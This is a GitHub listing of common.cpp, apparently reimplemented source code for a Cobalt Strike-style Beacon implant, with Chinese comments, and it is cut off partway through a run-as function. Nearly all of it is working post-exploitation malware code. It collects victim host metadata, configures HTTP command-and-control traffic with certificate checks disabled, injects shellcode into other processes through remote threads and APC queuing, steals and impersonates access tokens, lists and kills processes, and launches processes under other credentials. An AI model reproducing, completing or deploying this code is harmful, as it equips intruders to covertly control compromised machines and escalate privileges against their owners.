-
Notifications
You must be signed in to change notification settings - Fork 41
/
common.cpp
1394 lines (1255 loc) · 32.8 KB
/
common.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include "common.h"
#include "comm.h"
#include "BeaconInject.h"
#include "Beaconrportfwd.h"
BOOL X86orX64()
{
#ifdef _WIN64
return 1;
#else
return 0;
#endif // _WIN64
}
/// <summary>
/// 判断系统架构
/// </summary>
/// <param name="hProcess"></param>
/// <returns></returns>
int Is_Wow64(HANDLE hProcess)
{
HMODULE kernel32base;
BOOL(__stdcall * IsWow64Process)(HANDLE, PBOOL);
int result;
int v4 = 0;
kernel32base = GetModuleHandleA("kernel32");
IsWow64Process = (BOOL(__stdcall*)(HANDLE, PBOOL))GetProcAddress(kernel32base, "IsWow64Process");
if (!IsWow64Process || (result = IsWow64Process(hProcess, &v4)) != 0)
{
result = v4;
}
return result;
}
/// <summary>
/// 判断是否是管理员权限
/// </summary>
/// <returns></returns>
BOOL is_admin()
{
struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority;
PSID pSid;
BOOL IsMember;
pIdentifierAuthority.Value[0] = 0;
pIdentifierAuthority.Value[1] = 0;
pIdentifierAuthority.Value[2] = 0;
pIdentifierAuthority.Value[3] = 0;
pIdentifierAuthority.Value[4] = 0;
pIdentifierAuthority.Value[5] = 5;
IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid);
if (!IsMember)
{
return IsMember;
}
if (!CheckTokenMembership(0, pSid, &IsMember))
{
IsMember = 0;
}
FreeSid(pSid);
return IsMember;
}
/// <summary>
/// dns部分是废弃的
/// </summary>
void init_socket_options()
{
struct WSAData WSAData;
if (init_WSA != 1) // //判断是否初始化过
{
if (WSAStartup(0x202u, &WSAData) < 0)
{
WSACleanup();
exit(1);
}
init_WSA = 1;
//cs旧版本的遗留问题无用
dns_sleep = get_dword(20); // .dns-beacon.dns_sleep
dns_idle = get_dword(19); // .dns-beacon.dns_idle
dns_get_A = get_str(61); // .dns-beacon.get_A
dns_get_AAAA = get_str(62); // .dns-beacon.get_AAAA
dns_get_TXT = get_str(63); // .dns-beacon.get_TXT
dns_Listeneroptions_dnsresolver = get_str(66);// dns监听器的配置选项dnsresolver
}
}
int get_pc_ip(char* name)
{
struct hostent* phostent;
char** h_addr_list;
int result;
init_socket_options();
if (!gethostname(name, 256)
&& (phostent = gethostbyname(name)) != 0
&& phostent->h_addrtype == AF_INET
&& (h_addr_list = phostent->h_addr_list, *h_addr_list))
{
result = *(DWORD*)*h_addr_list; // 网络字节序IP数字
}
else
{
result = 0;
}
return result;
}
/// <summary>
/// 获取pc信息保存到元数据
/// </summary>
/// <param name="pmetadata"></param>
void get_pc_info(beaconmetadata* pmetadata)
{
LPOSVERSIONINFOA lpVersionInformation;
int Buffer_len;
char* Buffer;
int hostinfo;
CHAR* ComputerName;
CHAR* UserName;
char* lpFilename;
const char* ProcessName;
DWORD BufferSize;
datap* pdatap;
pdatap = (datap*)BeaconDataInit(0x494);
lpVersionInformation = (LPOSVERSIONINFOA)BeaconDataPtr(pdatap, 148);
Buffer = (char*)BeaconDataPtr(pdatap, 256);
ComputerName = (char*)BeaconDataPtr(pdatap, 256);
UserName = (char*)BeaconDataPtr(pdatap, 256);
lpFilename = (char*)BeaconDataPtr(pdatap, 256);
BufferSize = 256;
GetUserNameA(UserName, &BufferSize);
BufferSize = 256;
GetComputerNameA(ComputerName, &BufferSize);
hostinfo = get_pc_ip(lpFilename);
char* temp;
if (!GetModuleFileNameA(0, lpFilename, 0x100)
|| (temp = strrchr(lpFilename, 92)) == 0
|| (ProcessName = temp + 1, temp == (char*)-1))
{
ProcessName = "";
}
lpVersionInformation->dwOSVersionInfoSize = 148;
GetVersionExA(lpVersionInformation);
g_dwMajorVersion = lpVersionInformation->dwMajorVersion;
BeaconMetadataPush_1(g_dwMajorVersion, pmetadata);
BeaconMetadataPush_1(lpVersionInformation->dwMinorVersion, pmetadata);
BeaconMetadataPush_2(LOWORD(lpVersionInformation->dwBuildNumber), pmetadata);
#ifdef _WIN64
uint64 p = (ULONG64)GetProcAddress;
BeaconMetadataPush_4(HIDWORD(p),pmetadata);
BeaconMetadataPush_4((u_long)GetModuleHandleA, pmetadata);
BeaconMetadataPush_4((u_long)GetProcAddress, pmetadata);// 把函数这两个重要的函数地址也保持起来
#else
BeaconMetadataPush_4(0, pmetadata);
BeaconMetadataPush_4((ULONG)GetModuleHandleA, pmetadata);
BeaconMetadataPush_4((ULONG)GetProcAddress, pmetadata);// 把函数这两个重要的函数地址也保持起来
#endif // _WIN64
BeaconMetadataPush_4(hostinfo, pmetadata);
_snprintf(Buffer, 0x100, "%s\t%s\t%s", ComputerName, UserName, ProcessName);// 计算机名 用户名 自身进程名
Buffer_len = strlen(Buffer);
if (Buffer_len > 58)
{
Buffer_len = 58; // 不能超过58字节
}
BeaconMetadataPush_N(Buffer_len, pmetadata, Buffer);
BeaconDataFree(pdatap);
}
/// <summary>
/// 全局beacon的TokenHandle
/// </summary>
HANDLE pTokenHandle;
/// <summary>
/// win http flags
/// </summary>
DWORD g_dwFlags;
/// <summary>
///
/// </summary>
HINTERNET g_hInternet;
/// <summary>
///
/// </summary>
HINTERNET g_hConnect;
/// <summary>
///
/// </summary>
DWORD_PTR g_dwContext;
/// <summary>
/// 关闭token伪造
/// </summary>
void close_token_fake()
{
if (pTokenHandle)
{
RevertToSelf();
}
}
/// <summary>
/// 重新启用token伪造
/// </summary>
/// <returns></returns>
void restore_token_fake()
{
if (pTokenHandle)
{
ImpersonateLoggedOnUser(pTokenHandle);
}
}
//无c2profile
void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent)
{
int Proxyset;
HINTERNET hInternet;
HINTERNET hConnect;
char* username_str;
char* password_str;
char* ProxyStrBuffer;
unsigned int username_str_len;
unsigned int password_str_len;
int lpBuffer;
lpBuffer = 240000;
close_token_fake();
//0x84400200 INTERNET_FLAG_KEEP_CONNECTION| INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_RELOAD| INTERNET_FLAG_NO_UI
//0x84C03200 INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_NO_UI
//0x00800000 INTERNET_FLAG_SECURE
g_dwFlags = (get_short(1) & 8) != 8 ? 0x84400200 : 0x84C03200;
if (get_short(50) == 1)
{
g_dwFlags |= INTERNET_FLAG_NO_COOKIES;
}
Proxyset = get_short(35); // 判断是否需要设置http代理
if (Proxyset)
{
if (!Proxyset - 1)
{
hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
goto LABEL_8;
}
if (!Proxyset - 2)
{
hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
goto LABEL_8;
}
if (Proxyset - 2 != 2)
{
goto LABEL_9;
}
}
ProxyStrBuffer = get_str(32);
hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PROXY, ProxyStrBuffer, 0, 0);
LABEL_8:
g_hInternet = hInternet;
LABEL_9:
InternetSetOptionA(g_hInternet, INTERNET_OPTION_SEND_TIMEOUT, &lpBuffer, 4u);
InternetSetOptionA(g_hInternet, INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, &lpBuffer, 4u);
hConnect = InternetConnectA(g_hInternet, lpszServerName, ServerPort, 0, 0, INTERNET_SERVICE_HTTP, 0, g_dwContext);
g_hConnect = hConnect;
if (get_short(35) == 4)
{
username_str_len = get_str_config_len(33);
username_str = get_str(33);
InternetSetOptionA(hConnect, INTERNET_OPTION_PROXY_USERNAME, username_str, username_str_len);
password_str_len = get_str_config_len(34);
password_str = get_str(34);
InternetSetOptionA(g_hConnect, INTERNET_OPTION_PROXY_PASSWORD, password_str, password_str_len);
}
restore_token_fake();
return;
}
void __stdcall fnInternetCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength)
{
char* lpszHeaders;
if (dwInternetStatus == 21)
{
lpszHeaders = get_str(59);
HttpAddRequestHeadersA(hInternet, lpszHeaders, 0xFFFFFFFF, 0x80000000);
}
}
void set_http_opt(HINTERNET hInternet)
{
int Buffer = 0;
//SECURITY_FLAG_IGNORE_CERT_CN_INVALID| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID| SECURITY_FLAG_IGNORE_WRONG_USAGE| SECURITY_FLAG_IGNORE_UNKNOWN_CA| SECURITY_FLAG_IGNORE_REVOCATION
if ((get_short(1) & 8) != 0)
{
DWORD dwBufferLength = 4;
InternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, &dwBufferLength);
Buffer |= 0x3380u;
InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, 4);
}
if (get_str(59))
{
InternetSetStatusCallback(hInternet, fnInternetCallback);
}
}
/// <summary>
/// 判断http请求返回是否成功
/// </summary>
/// <param name="hRequest"></param>
/// <returns></returns>
BOOL verify_http_200(HINTERNET hRequest)
{
BOOL state;
char Buffer[256] = {0};
DWORD dwBufferLength;
dwBufferLength = 256;
state = HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, Buffer, &dwBufferLength, 0);
if (state)
{
state = atoi(Buffer) == 200;
}
return state;
}
//************************************
// Method: isEnableBlockDLL
// FullName: isEnableBlockDLL
// Access: public
// Returns: int
// Qualifier:判断是否使用BlockDLL和PPID
// Parameter: int PPID
//************************************
int isPPIDAndBlockDLL(int PPID)
{
if (PPID)
{
if (gBeaconBlockDLL == 1)
{
return 2;
}
}
else if (!gBeaconBlockDLL)
{
return 0;
}
return 1;
}
BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max)
{
unsigned int size;
size = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0);
if (size == -1 || size >= max)
{
return 0;
}
MultiByteToWideChar(0, 0, lpMultiByteStr, -1, lpWideCharStr, max);
return 1;
}
int is_process_arch(HANDLE hProcess)
{
HANDLE self_process;
int result;
if (X86orX64())
{
return Is_Wow64(hProcess) == 0;
}
self_process = GetCurrentProcess();
result = Is_Wow64(self_process);
if (result)
{
return Is_Wow64(hProcess) == 0; // 32-bit 64-bit TRUE
// ret FALSE
}
return result; // 64-bit 64-bit FALSE
// 32-bit 32-bit FALSE
// ret TRUE
}
_PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount)
{
ULONG_PTR Size = 0;
InitializeProcThreadAttributeList(0, dwAttributeCount, 0, &Size);
_PROC_THREAD_ATTRIBUTE_LIST* lpAttributeList = (_PROC_THREAD_ATTRIBUTE_LIST*)HeapAlloc(GetProcessHeap(), 0, Size);
if (lpAttributeList && InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, 0, &Size))
{
return lpAttributeList;
}
else
{
return 0;
}
}
void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess)
{
CloseHandle(pBeaconCreateprocess->process);
}
void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess)
{
SetErrorMode(pBeaconCreateprocess->SetErrorMode_value);
}
void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi)
{
if (pi->hProcess != (HANDLE)-1 && pi->hProcess)
{
CloseHandle(pi->hProcess);
}
if (pi->hThread != (HANDLE)-1)
{
if (pi->hThread)
{
CloseHandle(pi->hThread);
}
}
}
BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)
{
return CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpParameter, 0, 0) != 0;
}
BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)
{
return CreateThread(0, 0, lpStartAddress, lpParameter, 0, 0) != 0;
}
BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{
auto ntdllbase = GetModuleHandleA("ntdll.dll");
RtlCreateUserThread_t RtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(ntdllbase, "RtlCreateUserThread");
if (!RtlCreateUserThread)
{
return 0;
}
HANDLE ThreadHandle;
CLIENT_ID pCLIENT_ID;
RtlCreateUserThread(hProcess, 0, 0, 0, 0, 0, BaseAddress, lpParameter, &ThreadHandle, &pCLIENT_ID);
return ThreadHandle != 0;
}
#pragma pack(1)
typedef struct {
char field_0[sizeof(sub_10033070)];
HANDLE hProcess;
DWORD field_12D;
PVOID StartAddress;
DWORD field_135;
PVOID lpParameter;
DWORD field_13D;
HANDLE hThread;
DWORD field_145;
}BeaconShellcode;
#pragma pack()
int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{
OSVERSIONINFOA VersionInformation = { 0 };
VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if (!GetVersionExA(&VersionInformation))
{
return 0;
}
if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2)
{
SetLastError(5);
return 0;
}
char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress)
{
return 0;
}
BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress2)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
return 0;
}
memcpy(lpAddress, sub_10033020, sizeof(sub_10033020));
memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070));
lpAddress2->hThread = 0;
lpAddress2->hProcess = hProcess;
lpAddress2->StartAddress = BaseAddress;
lpAddress2->lpParameter = lpParameter;
if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess))
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(5);
return 0;
}
if (!lpAddress2->hThread)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(6);
return 0;
}
ResumeThread(lpAddress2->hThread);
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
return 1;
}
#pragma pack(1)
typedef struct {
PVOID StartAddress;
PVOID lpParameter;
CreateThread_t pCreateThread;
DWORD field_C;
}BeaconShellcodeinjec;
#pragma pack()
//特殊函数 shellcode
void __stdcall sub_10004D1D(BeaconShellcodeinjec* pBeaconShellcodeinjec)
{
if (!pBeaconShellcodeinjec->field_C)
{
_TEB* teb = (_TEB*)NtCurrentTeb();
pBeaconShellcodeinjec->field_C = 1;
if (teb->ActivationContextStackPointer)
{
pBeaconShellcodeinjec->pCreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)pBeaconShellcodeinjec->StartAddress,
pBeaconShellcodeinjec->lpParameter,
NULL,
NULL);
}
else
{
pBeaconShellcodeinjec->field_C = 0;
}
}
}
void* sub_10004D53(HANDLE hProcess, int pid, BeaconShellcodeinjec* pBeaconShellcodeinjec)
{
//注意shellcode
char* pshellcode = (char*)malloc((char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec));
memcpy((char*)pshellcode + sizeof(BeaconShellcodeinjec), sub_10004D1D, (char*)sub_10004D53 - (char*)sub_10004D1D);
int shellcode_size = (char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec);
char* pshellcodeAddress = (char*)VirtualAllocEx(hProcess, 0, shellcode_size, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T NumberOfBytesWritten = 0;
if ( pshellcodeAddress
&&
WriteProcessMemory(hProcess, pshellcodeAddress, pshellcode, shellcode_size, &NumberOfBytesWritten)
&&
NumberOfBytesWritten != shellcode_size)
{
pshellcodeAddress = 0;
}
free(pshellcode);
return pshellcodeAddress;
}
int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter)
{
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(THREADENTRY32);
BeaconShellcodeinjec pBeaconShellcodeinjec;
pBeaconShellcodeinjec.StartAddress = BaseAddress;
pBeaconShellcodeinjec.lpParameter = lpParameter;
pBeaconShellcodeinjec.pCreateThread = CreateThread;
pBeaconShellcodeinjec.field_C = 0;
NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
if (!NtQueueApcThread)
{
return 0;
}
char* pshellcodeAddress = (char*)sub_10004D53(pBeaconProcessInject->hProcess, pBeaconProcessInject->Process_PID, &pBeaconShellcodeinjec);
if (!pshellcodeAddress)
{
return 0;
}
HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (!Toolhelp32Snapshot || !Thread32First(Toolhelp32Snapshot, &te))
{
return 0;
}
do
{
if (te.th32OwnerProcessID == pBeaconProcessInject->Process_PID)
{
HANDLE thread = OpenThread(0x1FFFFF, 0, te.th32ThreadID);
if (thread)
{
NtQueueApcThread(thread, (PIO_APC_ROUTINE)(pshellcodeAddress + 16), pshellcodeAddress,NULL,NULL);
CloseHandle(thread);
}
}
} while (Thread32Next(Toolhelp32Snapshot, &te));
CloseHandle(Toolhelp32Snapshot);
Sleep(0xC8);
SIZE_T NumberOfBytesRead;
if (!ReadProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead)
|| NumberOfBytesRead != sizeof(BeaconShellcodeinjec))
{
return 0;
}
if (!pBeaconShellcodeinjec.field_C)
{
pBeaconShellcodeinjec.field_C = 1;
WriteProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead);
return 0;
}
return 1;
}
BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter)
{
NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
return NtQueueApcThread && !NtQueueApcThread(pBeaconProcessInject->hThread, (PIO_APC_ROUTINE)BaseAddress, lpParameter, 0, 0) && ResumeThread(pBeaconProcessInject->hThread) != -1;
}
void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size)
{
DWORD size = ExpandEnvironmentStringsA(lpSrc, 0, 0);
if (size)
{
if (size + 1 < Size)
{
memset(lpDst, 0, Size);
ExpandEnvironmentStringsA(lpSrc, lpDst, size);
}
}
}
void check_close_token_fake(int ignoreToken)
{
if (ignoreToken)
{
close_token_fake();
}
}
void check_restore_token_fake(int ignoreToken)
{
if (ignoreToken)
{
restore_token_fake();
}
}
int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer)
{
CHAR Name[512];
CHAR ReferencedDomainName[512];
DWORD cchReferencedDomainName = 512;
_SID_NAME_USE peUse;
memset(Buffer, 0, BufferSize);
memset(Name, 0, sizeof(Name));
memset(ReferencedDomainName, 0, sizeof(ReferencedDomainName));
DWORD ReturnLength;
PSID TokenInformation[4096];
DWORD cchName = 512;
if (!GetTokenInformation(TokenHandle, TokenUser, TokenInformation, 0x1000, &ReturnLength)
|| !LookupAccountSidA(
0,
TokenInformation[0],
Name,
&cchName,
ReferencedDomainName,
&cchReferencedDomainName,
&peUse))
{
return 0;
}
_snprintf(Buffer, BufferSize, "%s\\%s", ReferencedDomainName, Name);
Buffer[BufferSize - 1] = 0;
return 1;
}
void BeaconSendUserInfo(HANDLE hPrcoess)
{
u_long Buffer[256];
char usersid[512];
if (get_user_sid(0x200, hPrcoess, usersid))
{
if (is_admin())
{
_snprintf((char* const)Buffer, 0x400u, "%s (admin)", usersid);
}
else
{
_snprintf((char* const)Buffer, 0x400u, "%s", usersid);
}
BeaconTaskOutput((char*)Buffer, strlen((char*)Buffer), 0x10);
}
}
void beacon_GetUID()
{
HANDLE TokenHandle;
if (OpenThreadToken(GetCurrentThread(), 8u, 0, &TokenHandle))
{
goto LABEL_3;
}
if (OpenProcessToken(GetCurrentProcess(), 8u, &TokenHandle))
{
LABEL_3:
BeaconSendUserInfo(TokenHandle);
CloseHandle(TokenHandle);
}
else if (pTokenHandle)
{
close_token_fake();
BeaconSendUserInfo(pTokenHandle);
restore_token_fake();
}
else
{
BeaconErrorNA(1u);
}
}
datap* BeaconMaketoken;
void BeaconRevertToken()
{
if (pTokenHandle)
{
CloseHandle(pTokenHandle);
}
pTokenHandle = 0;
RevertToSelf();
if (BeaconMaketoken)
{
BeaconDataClear(BeaconMaketoken);
BeaconDataFree(BeaconMaketoken);
lpDomain = 0;
lpWideCharStr = 0;
lpPassword = 0;
BeaconMaketoken = 0;
Create_token_Flag = 0;
}
}
void beacon_steal_token(char* Taskdata, int Task_size)
{
char usersid[0x200];
HANDLE TokenHandle;
if (Task_size == 4)
{
int pid = ntohl(*(u_long*)Taskdata);
HANDLE hprocess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
if (hprocess)
{
if (OpenProcessToken(hprocess, TOKEN_ALL_ACCESS, &TokenHandle))
{
BeaconRevertToken();
if (ImpersonateLoggedOnUser(TokenHandle))
{
if (DuplicateTokenEx(TokenHandle, 0x2000000, 0, SecurityDelegation, TokenPrimary, &pTokenHandle))
{
if (ImpersonateLoggedOnUser(pTokenHandle))
{
CloseHandle(hprocess);
if (TokenHandle)
{
CloseHandle(TokenHandle);
}
if (get_user_sid(0x200, pTokenHandle, usersid))
{
BeaconTaskOutput(usersid, strlen(usersid), 0xF);
}
}
else
{
BeaconErrorDD(0x27, pid, GetLastError());
}
}
else
{
BeaconErrorDD(0x26, pid, GetLastError());
}
}
else
{
BeaconErrorDD(0x25, pid, GetLastError());
}
}
else
{
BeaconErrorDD(0x24, pid, GetLastError());
}
}
else
{
BeaconErrorDD(0x21, pid, GetLastError());
}
}
}
BOOL GetProcessUserInfo(HANDLE ProcessHandle, char* usersid)
{
HANDLE TokenHandle;
BOOL status = OpenProcessToken(ProcessHandle, 8u, &TokenHandle);
if (status)
{
status = get_user_sid(0x800, TokenHandle, usersid);
CloseHandle(TokenHandle);
return status;
}
return status;
}
void beacon_ps(char* Taskdata, int Task_size)
{
char usersid[2048];
memset(usersid, 0, sizeof(usersid));
datap datap;
BeaconDataParse(&datap, Taskdata, Task_size);
int unknown = BeaconDataInt(&datap);
BeaconFormatAlloc((formatp*)&datap, 0x8000);
if (unknown > 0)
{
BeaconFormatInt((formatp*)&datap, unknown);
}
const char* arch;
if (Is_Wow64(GetCurrentProcess()))
{
arch = "x64";
}
else
{
arch = "x64";
if (!X86orX64())
{
arch = "x86";
}
}
DWORD pSessionId;
DWORD th32ProcessID;
PROCESSENTRY32 pe;
HANDLE hprocess;
HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
if (Toolhelp32Snapshot != (HANDLE)-1)
{
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(Toolhelp32Snapshot, &pe))
{
do
{
th32ProcessID = pe.th32ProcessID;
hprocess = OpenProcess(g_dwMajorVersion >= 6 ? 4096 : 1024, 0, th32ProcessID);
if (hprocess)
{
if (!GetProcessUserInfo(hprocess, usersid))
{
usersid[0] = 0;
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId))
{
pSessionId = -1;
}
const char* arch2 = "x86";
if (Is_Wow64(hprocess) == 0)
{
arch2 = arch;
}
BeaconFormatPrintf(
(formatp*)&datap,
(char*)"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
arch2,
usersid,
pSessionId);
}
else
{
BeaconFormatPrintf((formatp*)&datap, (char*)"%s\t%d\t%d\n", pe.szExeFile, pe.th32ParentProcessID, pe.th32ProcessID);
}
CloseHandle(hprocess);
} while (Process32Next(Toolhelp32Snapshot, &pe));
CloseHandle(Toolhelp32Snapshot);
int msg_type;
if (unknown)
{
msg_type = 22;
}
else
{
msg_type = 17;
}
int datalength = BeaconFormatlength((formatp*)&datap);
char* databuffer = BeaconFormatOriginalPtr((formatp*)&datap);
BeaconTaskOutput(databuffer, datalength, msg_type);
BeaconFormatFree((formatp*)&datap);
}
else
{
CloseHandle(Toolhelp32Snapshot);
}
}
}
void beacon_Kill(char* Taskdata, int Task_size)
{
datap pdatap = { 0 };
BeaconDataParse(&pdatap, Taskdata, Task_size);
int pid = BeaconDataInt(&pdatap);
HANDLE hPrcoess = OpenProcess(PROCESS_TERMINATE, 0, pid);
if (!hPrcoess || !TerminateProcess(hPrcoess, 0))
{
BeaconErrorDD(0x23u, pid, GetLastError());
}
CloseHandle(hPrcoess);
}
int BeaconRunAsProcess(
char* lpDomain,
char* lpPassword,
char* lpUsername,
char* lpCommandLine,
int dwCreationFlags,
LPPROCESS_INFORMATION lpProcessInformation)
{
memset(lpProcessInformation, 0, sizeof(PROCESS_INFORMATION));
datap* pdatap = BeaconDataInit(0xA000u);
WCHAR* CommandLine = (WCHAR*)BeaconDataPtr(pdatap, 0x4000);
WCHAR* Domain = (WCHAR*)BeaconDataPtr(pdatap, 1024);
WCHAR* Username = (WCHAR*)BeaconDataPtr(pdatap, 1024);
WCHAR* Password = (WCHAR*)BeaconDataPtr(pdatap, 1024);
